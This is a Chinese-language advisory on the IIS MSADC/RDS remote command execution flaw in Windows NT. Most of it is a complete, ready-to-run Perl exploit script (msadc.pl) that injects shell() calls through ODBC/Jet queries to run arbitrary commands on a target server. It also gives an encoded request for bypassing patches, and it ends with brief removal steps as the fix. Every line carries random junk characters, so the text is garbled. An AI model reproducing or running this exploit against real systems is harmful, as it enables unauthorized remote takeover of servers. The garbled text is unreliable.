IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
SATZ! kq%`9,XE 涉及程序:
6}NvVolr Microsoft NT server
GWE`'V uy\YJ.WMQ 描述:
[9?=&O#* 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
{OAy@6
+ $Z28nPd/ 详细:
}Tc)M_ 如果你没有时间读详细内容的话,就删除:
`"ie57- c:\Program Files\Common Files\System\Msadc\msadcs.dll
4kXx(FE 有关的安全问题就没有了。
1Y9Ye?~jd >Dtw^1i 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
zm8m J2s U}A+jJ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
r~s03g0 关于利用ODBC远程漏洞的描述,请参看:
l"*>>/U k OD1ns http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r)j#Skh]. R:.7c(s 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
^\+6*YE 4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp W>@%d`>o5 L0&!Qct
这里不再论述。
V$v;lvt^Uq T)C 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Fah}#, "\_}"0H /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!d(!1fC 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
g<.8iW 'c LnJ7i"Q coLn};W2 #将下面这段保存为txt文件,然后: "perl -x 文件名"
T!a8c<'V BK /;HG #!perl
v>R.M"f #
V)(pe #P # MSADC/RDS 'usage' (aka exploit) script
a|s= d #
[\.>BK # by rain.forest.puppy
gdG:
&{|x #
ONfJ"Rp3 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+$
-#V # beta test and find errors!
^cAJCbp7 gSe{S use Socket; use Getopt::Std;
moo>~F _^ getopts("e:vd:h:XR", \%args);
41uSr 1 HdnSs0/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c//W#V2Q *(k=!`4( if (!defined $args{h} && !defined $args{R}) {
mMjVbeh[ print qq~
LAwS8t', Usage: msadc.pl -h <host> { -d <delay> -X -v }
un9o~3SF< -h <host> = host you want to scan (ip or domain)
\U-5&,fP -d <seconds> = delay between calls, default 1 second
7I44BC*R~ -X = dump Index Server path table, if available
E
Fv+[ -v = verbose
WI~%n
-e = external dictionary file for step 5
VmT5?i L+kS8D< Or a -R will resume a command session
a0LX<} 9=}/t9k ~; exit;}
/6.b>|zF JWdG?[$ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
/nmfp&@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
9(PFd% if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k m|wB4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
h n]6he $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
=lmh^**4 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JR>B<{xB O71rLk; if (!defined $args{R}){ $ret = &has_msadc;
T6,lk1S'= die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
0ND7F {r}}X@|5 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
v}mmY>M% . "cmd /c ";
c]&VUWQ $in=<STDIN>; chomp $in;
W2B=%`sC $command="cmd /c " . $in ;
pxC5a i f
0#V^[%Q if (defined $args{R}) {&load; exit;}
r 1a{Y8? j,-7J*A~ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F>Oh)VL,Ev &try_btcustmr;
e/3hb)#; $.cGRz print "\nStep 2: Trying to make our own DSN...";
0`thND)?O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_
o(h]G1]. #P@r[VZ{6 print "\nStep 3: Trying known DSNs...";
{p\KB!Y- &known_dsn;
24Tw1'mW n%0vQ;Z1 print "\nStep 4: Trying known .mdbs...";
_t[%@G>P &known_mdb;
,5?MRqCM W!^=)Qs
if (defined $args{e}){
#e=^[E-yE print "\nStep 5: Trying dictionary of DSN names...";
!58JK f &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~S6N'$^ &ivIv[LV print "Sorry Charley...maybe next time?\n";
eC39C2q\ exit;
=+L>^w#6= qprOxP
r ##############################################################################
8UcT?Zp |Wgab5D>V sub sendraw { # ripped and modded from whisker
Fo=6A[J sleep($delay); # it's a DoS on the server! At least on mine...
]rm=F]W/n my ($pstr)=@_;
1mV0AE538 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6;*(6$; die("Socket problems\n");
]]ZBG<# if(connect(S,pack "SnA4x8",2,80,$target)){
5~F0'tb|} select(S); $|=1;
!R@4tSu print $pstr; my @in=<S>;
{cI<4>< select(STDOUT); close(S);
J)->
7h= return @in;
A~>=l= } else { die("Can't connect...\n"); }}
u5ygbCm ~k(Ez pn# ##############################################################################
q Q'@yTVN 'W*F[U*&HP sub make_header { # make the HTTP request
rY= #^S my $msadc=<<EOT
[)pT{QA POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
k}.nH"AQ User-Agent: ACTIVEDATA
d!:SoZ Host: $ip
`y#C%9# Content-Length: $clen
Qa%SvA@R Connection: Keep-Alive
(jG$M= q- jayoARUB ADCClientVersion:01.06
:<gk~3\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
\#r_H9&s6 AF}"
--!ADM!ROX!YOUR!WORLD!
0}V'\=F454 Content-Type: application/x-varg
y<b0z\ Content-Length: $reqlen
LfApVUm DPx,qM#h5O EOT
J;`~
!g ; $msadc=~s/\n/\r\n/g;
<hbbFL}|% return $msadc;}
U8KY/!XZ [
_$$P* ##############################################################################
e8 aV
qq[ SI9hS4<j sub make_req { # make the RDS request
0Kk*~gR? my ($switch, $p1, $p2)=@_;
Gp+XM my $req=""; my $t1, $t2, $query, $dsn;
U;@jl?jnG Se`N5hQ if ($switch==1){ # this is the btcustmr.mdb query
($W 5fbu $query="Select * from Customers where City=" . make_shell();
gEsR-A!m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
j[cjQ]>~' $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
1n"X?K5;A @k,(i=** elsif ($switch==2){ # this is general make table query
7p$*/5fk $query="create table AZZ (B int, C varchar(10))";
#O+]ydvT $dsn="$p1";}
B_2>Yt" ZB&Uhi elsif ($switch==3){ # this is general exploit table query
Rp*t"HSaAW $query="select * from AZZ where C=" . make_shell();
~2431<YV $dsn="$p1";}
PEIr-qs%D BkfBFUDQ elsif ($switch==4){ # attempt to hork file info from index server
!e `=UZe1 $query="select path from scope()";
<GRf%zJ $dsn="Provider=MSIDXS;";}
j.}V~Sp* Nk4_! elsif ($switch==5){ # bad query
UD`Z;F $query="select";
Kj
8 W $dsn="$p1";}
f :5/y^M& 5#\p>}[HG $t1= make_unicode($query);
u_8 22Z $t2= make_unicode($dsn);
iGk{8Da< $req = "\x02\x00\x03\x00";
{B.]w9 $req.= "\x08\x00" . pack ("S1", length($t1));
@\8gzvkt $req.= "\x00\x00" . $t1 ;
A#:
c $req.= "\x08\x00" . pack ("S1", length($t2));
Qu _T& $req.= "\x00\x00" . $t2 ;
hp4(f W $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%Qz`SO8x? return $req;}
#UD DG?\6Zh ##############################################################################
vP?S0>gh YO0x68 sub make_shell { # this makes the shell() statement
);DIrA return "'|shell(\"$command\")|'";}
`kSCH; mwP Xy<f_ ##############################################################################
FF~4y>R7u neFno5d j sub make_unicode { # quick little function to convert to unicode
{{%8|+B my ($in)=@_; my $out;
\#,#_ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"Cj#bUw return $out;}
ix @rq# RgA4@J# ##############################################################################
L.[uMuUa d<? :Q sub rdo_success { # checks for RDO return success (this is kludge)
Aq'E:/ my (@in) = @_; my $base=content_start(@in);
5yi q# if($in[$base]=~/multipart\/mixed/){
.@-]A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
!!%nl_I( return 0;}
m(:qZW > C&<dO#i ##############################################################################
M~F2cXW $ _Bu,; sub make_dsn { # this makes a DSN for us
/
i2-h my @drives=("c","d","e","f");
u>6/_^iq print "\nMaking DSN: ";
WCT W#<izm foreach $drive (@drives) {
`Kw8rG\]: print "$drive: ";
g
'a? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E*CQG;^=N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!BuJC$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TcmZ0L^O $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
q.[[c return 0 if $2 eq "404"; # not found/doesn't exist
A!Ct,%
if($2 eq "200") {
[W=S8> foreach $line (@results) {
6_K#,_oZ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
aEdJ ri } return 0;}
b\m(0/x kdPm # $- ##############################################################################
@SG"t,5s +u:OAsR sub verify_exists {
"gajBY my ($page)=@_;
FXEfD" my @results=sendraw("GET $page HTTP/1.0\n\n");
DK_v{R return $results[0];}
T KL(97)< xWe1F2nY ##############################################################################
0+y~RTAVB 4?M3#],'h sub try_btcustmr {
<O)X89dFM my @drives=("c","d","e","f");
u4M2Ec my @dirs=("winnt","winnt35","winnt351","win","windows");
C{i;spc!bi #]a51Vss foreach $dir (@dirs) {
&~A*(+S print "$dir -> "; # fun status so you can see progress
maEpT43f foreach $drive (@drives) {
+Z~!n print "$drive: "; # ditto
y&=19A# $reqlen=length( make_req(1,$drive,$dir) ) - 28;
"M0l; $reqlenlen=length( "$reqlen" );
k+r9h'd $clen= 206 + $reqlenlen + $reqlen;
cPaWJ+c lrX0c$) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)u )$ `a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
a:^Gr% else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
}cK~=@7tK UQ?OD~7 ##############################################################################
[67E5rk- 6 %k+0\d sub odbc_error {
8Y~=\(5> my (@in)=@_; my $base;
Cm<j*Cnl my $base = content_start(@in);
S}Y|s]6 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
^zPEAXm $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(yAvDyJOn $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o"}&qA; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"~2#!bK7 return $in[$base+4].$in[$base+5].$in[$base+6];}
5~%,u2 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A1t~&? print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
p vQK6r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
HGQ?(2] 8$ ^8l3j4 ##############################################################################
3?Eoj95w! $gl<{{ sub verbose {
$#ju?B~ my ($in)=@_;
QUZQY`'@ return if !$verbose;
N|O]z print STDOUT "\n$in\n";}
+\8 krA n$|c{2]= ##############################################################################
z vb}p 9}jq`xSL sub save {
!+DJhw&c, my ($p1, $p2, $p3, $p4)=@_;
i|]Va44 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
]\ 2RVDC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(p.3'j( close OUT;}
;!JX-J q fw|+7 O ##############################################################################
Q$h:[_v mV*/zWh_ sub load {
8u'O`j my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
-llx: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
t-7U1B}=<C @p=<IN>; close(IN);
@-&(TRbZo $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1.95 ^8 $target= inet_aton($ip) || die("inet_aton problems");
eBC%2TF print "Resuming to $ip ...";
YaNH.$.: $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
#W%)$kc if($p[1]==1) {
^?7dOW $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vG<pc_ak $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
?9gTk
\s?R my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%V(N U_o if (rdo_success(@results)){print "Success!\n";}
Jg|cvu-+ else { print "failed\n"; verbose(odbc_error(@results));}}
mhi90J c elsif ($p[1]==3){
pjHRV[`AP if(run_query("$p[3]")){
D_n}p8blT print "Success!\n";} else { print "failed\n"; }}
ZAX0n!db3 elsif ($p[1]==4){
$S=~YzO if(run_query($drvst . "$p[3]")){
Ph#F<e(9 print "Success!\n"; } else { print "failed\n"; }}
p;u 1{ exit;}
?cs]#6^ +fd@K ##############################################################################
K%(XgXb(</ A6NxM8ybn+ sub create_table {
Ed^uA+D my ($in)=@_;
{s8U7rmML $reqlen=length( make_req(2,$in,"") ) - 28;
<< ;HY}s $reqlenlen=length( "$reqlen" );
7{An@hNh $clen= 206 + $reqlenlen + $reqlen;
t.E4Tqzc> my @results=sendraw(make_header() . make_req(2,$in,""));
Yb%-tv: return 1 if rdo_success(@results);
.-KtB(t my $temp= odbc_error(@results); verbose($temp);
{ 8f+h return 1 if $temp=~/Table 'AZZ' already exists/;
S'!q}|7X3 return 0;}
=%3b@}%HqS M6jp1:ZH2q ##############################################################################
![@T iM &(1H!
sub known_dsn {
5K ,#4EOV # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
IObx^N_K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
UIf ZPf= "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Cl6m$YUt "banner", "banners", "ads", "ADCDemo", "ADCTest");
B+Y5b5+wOQ q1f=&kGX~ foreach $dSn (@dsns) {
.B'UQ|NR print ".";
7Y32p' next if (!is_access("DSN=$dSn"));
1@%B? if(create_table("DSN=$dSn")){
BeI;#m0 print "$dSn successful\n";
N~):c2Kp<9 if(run_query("DSN=$dSn")){
ss`P QN print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-*|:v67C& print "Something's borked. Use verbose next time\n";}}} print "\n";}
/BMtcCPG! ms}f>f= ##############################################################################
@GG(7r\/B /}w#Jk4pD sub is_access {
y7JZKtsFA my ($in)=@_;
?Ml%$z@b? $reqlen=length( make_req(5,$in,"") ) - 28;
h@~:(:zU$ $reqlenlen=length( "$reqlen" );
Il{^
j6 $clen= 206 + $reqlenlen + $reqlen;
[6; N3?+ my @results=sendraw(make_header() . make_req(5,$in,""));
69C8-fF0[I my $temp= odbc_error(@results);
hI|/>4< verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,{?q^" return 0;}
&:c:9w F<Hqo>G ##############################################################################
sn-)(XU! $T?*0"Mj[ sub run_query {
g/8.W my ($in)=@_;
)RwBg8 $reqlen=length( make_req(3,$in,"") ) - 28;
?0rOcaTY $reqlenlen=length( "$reqlen" );
v<;: 0 $clen= 206 + $reqlenlen + $reqlen;
ge0's+E+1 my @results=sendraw(make_header() . make_req(3,$in,""));
K8
b+
return 1 if rdo_success(@results);
=2
&hQd
my $temp= odbc_error(@results); verbose($temp);
l#D-q/k? return 0;}
z wL3,!t A3AP51
! ##############################################################################
7L=T]W K1T1@ j sub known_mdb {
_+twqi my @drives=("c","d","e","f","g");
60GFVF]'2 my @dirs=("winnt","winnt35","winnt351","win","windows");
{~"7vkc+ my $dir, $drive, $mdb;
G HD^%)T5^ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d/XlV]#2x\ A7k'K4 # this is sparse, because I don't know of many
O)`fvpVU my @sysmdbs=( "\\catroot\\icatalog.mdb",
Bx(yu'g|a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
! FNf>z+ "\\system32\\certmdb.mdb",
5x8'K7/4. "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
|9>*$Fe" 07x=`7hs} my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
n6b3E* "\\cfusion\\cfapps\\forums\\forums_.mdb",
6*ZU}xT "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[}>#YPZ "\\cfusion\\cfapps\\security\\realm_.mdb",
1~%o}+#- "\\cfusion\\cfapps\\security\\data\\realm.mdb",
,e9CJ~a "\\cfusion\\database\\cfexamples.mdb",
u8Y~_)\MA "\\cfusion\\database\\cfsnippets.mdb",
NSw<t9Yi "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
XQ]`&w( "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
#gh
p/YoTq "\\cfusion\\brighttiger\\database\\cleam.mdb",
l8z%\p5cR "\\cfusion\\database\\smpolicy.mdb",
6W5d7`A "\\cfusion\\database\cypress.mdb",
z!fdx|PUX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u(W^Nou/+ "\\website\\cgi-win\\dbsample.mdb",
c~P)4(udT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
W_^>MLq "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
]}Pl%. ); #these are just
[ S5bj]D foreach $drive (@drives) {
hwiKOP foreach $dir (@dirs){
HOE2*4r foreach $mdb (@sysmdbs) {
ibvJWg print ".";
?>sQF4 V" if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'/k^C9~m
r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Bg-VCJI< if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#c-b}.R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
MDk*j,5V } else { print "Something's borked. Use verbose next time\n"; }}}}}
+%P t_ Qh\YR\O foreach $drive (@drives) {
m$,,YKhh foreach $mdb (@mdbs) {
Rab#7Q16Q8 print ".";
'9qn*H`' if(create_table($drv . $drive . $dir . $mdb)){
2G?$X? print "\n" . $drive . $dir . $mdb . " successful\n";
5^yG2&># if(run_query($drv . $drive . $dir . $mdb)){
K<FKu $= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)o{VmXe@@ } else { print "Something's borked. Use verbose next time\n"; }}}}
yVaU t_Zi }
L?!$EPr *ksb?|<Ot ##############################################################################
&.zj5*J @rF/]UJ sub hork_idx {
RU6KIg{H print "\nAttempting to dump Index Server tables...\n";
Jy9bY print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
!2z!8kI $reqlen=length( make_req(4,"","") ) - 28;
l]H0g[ $reqlenlen=length( "$reqlen" );
``!G I'^ $clen= 206 + $reqlenlen + $reqlen;
QZ&4:K+{ my @results=sendraw2(make_header() . make_req(4,"",""));
YgEM:'1f if (rdo_success(@results)){
?w*yW;V` my $max=@results; my $c; my %d;
gQy~kctQ# for($c=19; $c<$max; $c++){
be7L="vZw $results[$c]=~s/\x00//g;
tw=K&/@^O $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x=.tiM {# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
S_2"7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
(#$$nQj $d{"$1$2"}="";}
F"'n4|q4n foreach $c (keys %d){ print "$c\n"; }
e&0NK8+ } else {print "Index server doesn't seem to be installed.\n"; }}
`m%:rE, bp#fyG" ##############################################################################
#4><r.v3 3[r";Wt# sub dsn_dict {
Z'Q*L?E8M open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%*kLEA*v while(<IN>){
"}@i+oS $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Lj8)'[K" next if (!is_access("DSN=$dSn"));
n+HsQ]z. if(create_table("DSN=$dSn")){
3y ryeS print "$dSn successful\n";
.5.8;/
/ if(run_query("DSN=$dSn")){
' sey D print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rnO0-h-; print "Something's borked. Use verbose next time\n";}}}
+dw!:P& print "\n"; close(IN);}
%hc'dZ 1* ^'\W. ##############################################################################
0z7L+2#b^ dv, C6t2 sub sendraw2 { # ripped and modded from whisker
?g3 ]~;# sleep($delay); # it's a DoS on the server! At least on mine...
fywvJ$HD]L my ($pstr)=@_;
T1W:>~T5# socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b#/i.!:a die("Socket problems\n");
U]1(&MgV if(connect(S,pack "SnA4x8",2,80,$target)){
\0ov[T N.> print "Connected. Getting data";
!,Nwts>m open(OUT,">raw.out"); my @in;
0I5&a select(S); $|=1; print $pstr;
v0#*X5C1' while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{oUAP1V^ close(OUT); select(STDOUT); close(S); return @in;
;wR 'z$8 } else { die("Can't connect...\n"); }}
+{$QAjW(/ B76 v}O: ##############################################################################
vX;HC'%n 8gC)5Y sub content_start { # this will take in the server headers
Hm
fXe my (@in)=@_; my $c;
wzh]97b for ($c=1;$c<500;$c++) {
GX?*1 if($in[$c] =~/^\x0d\x0a/){
YTQps&mD. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J -V49X# else { return $c+1; }}}
"'a* [% return -1;} # it should never get here actually
]\Xc9N8w ka/XK[/' ##############################################################################
02\JzBU m!O;>D sub funky {
Yp1bH+/u my (@in)=@_; my $error=odbc_error(@in);
gcf6\f}\< if($error=~/ADO could not find the specified provider/){
Dx-KMiQ,"( print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Tf x :"u exit;}
5f^>b\8+ | if($error=~/A Handler is required/){
zN{JJ3- print "\nServer has custom handler filters (they most likely are patched)\n";
R J~%0 exit;}
gg^1b77hT if($error=~/specified Handler has denied Access/){
!VP %v&jKm print "\nServer has custom handler filters (they most likely are patched)\n";
O'$K],=BS exit;}}
aXY->< 88lxHoPV ##############################################################################
}gGkV] _w(ln9 sub has_msadc {
xx)-d,S my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
pB p#a my $base=content_start(@results);
?D|\]0 eN return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
k6(r !mc return 0;}
h2w}wsb0l C4\,z\Q ########################
9o0!m Cq j U[
O {G3i0r 解决方案:
y'}O)lO1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
T9syo/( 2、移除web 目录: /msadc